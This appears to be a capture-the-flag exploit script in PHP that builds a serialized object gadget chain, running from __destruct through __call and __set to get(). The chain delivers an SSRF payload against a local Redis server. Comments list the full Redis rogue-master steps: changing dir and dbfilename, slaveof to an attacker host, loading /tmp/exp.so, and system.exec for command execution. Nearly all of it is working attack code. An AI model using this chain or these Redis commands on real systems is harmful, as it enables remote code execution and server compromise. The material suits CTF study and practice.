PHP Decode

<?php  
class Rd 
{ 
    public $ending; 
    public $cl; 
    public $poc; 
 
    public function __destruct(){ 
        // echo "All matters have concluded"."</br>"; 
    } 
 
    public function __call($name, $arg){ 
        foreach ($arg as $key => $value) { 
            if ($arg[0]['POC'] == "0.o") { 
                $this->cl->var1 = "get"; 
            } 
        } 
    } 
} 
 
class Poc 
{ 
    public $payload; 
    public $fun; 
 
    public function __set($name, $value){ 
        $this->payload = $name; 
        $this->fun = $value; 
    } 
 
    function getflag($paylaod){ 
        echo "Have you genuinely accomplished what you set out to do?"."</br>"; 
        file_get_contents($paylaod); 
    } 
} 
 
class Er 
{ 
    public $symbol; 
    public $Flag; 
 
    public function __construct(){ 
        $this->symbol = True; 
    } 
 
    public function __set($name, $value){    
        if (preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',base64_decode($this->Flag))){ 
               $value($this->Flag); 
        } 
    else { 
    echo "NoNoNo,please you can look hint.php"."</br>"; 
    } 
  } 
} 
 
class Ha 
{ 
    public $start; 
    public $start1; 
    public $start2; 
 
    public function __construct(){ 
        // echo $this->start1 . "__construct" . "</br>"; 
    } 
 
    public function __destruct(){ 
        if ($this->start2 === "o.0") { 
            $this->start1->Love($this->start); 
            // echo "You are Good!"."</br>"; 
        } 
    } 
} 
 
function get($url) { 
    // $url=base64_decode($url); 
    // var_dump($url); 
    // $ch = curl_init(); 
    // curl_setopt($ch, CURLOPT_URL, $url); 
    // curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
    // curl_setopt($ch, CURLOPT_HEADER, 0); 
    // $output = curl_exec($ch); 
    // $result_info = curl_getinfo($ch); 
    // var_dump($result_info); 
    // curl_close($ch); 
    // var_dump($output); 
} 
 
// Ha::__destruct() -> Rd::__call() -> Er::__set() -> get() 
 
// payload evil redis-server 
// $payload = "dict://127.0.0.1:6379/config:set:dir:/tmp"; 
// $payload = "dict://127.0.0.1:6379/config:set:dbfilename:exp.so"; 
// $payload = "dict://127.0.0.1:6379/slaveof:x.x.x.x:7777"; 
// $payload = "dict://127.0.0.1:6379/module:load:/tmp/exp.so"; 
// $payload = "dict://127.0.0.1:6379/slave:no:one"; 
$payload = "dict://127.0.0.1:6379/system.exec:env"; 
$Er = new Er(); 
$Er -> Flag = base64_encode($payload); 
$Rd = new Rd(); 
$Rd -> cl = $Er; 
$Ha = new Ha(); 
$Ha -> start = ['POC'=>'0.o']; 
$Ha -> start1 = $Rd; 
$Ha -> start2 = 'o.0'; 
 
echo(serialize($Ha)); 
 ?>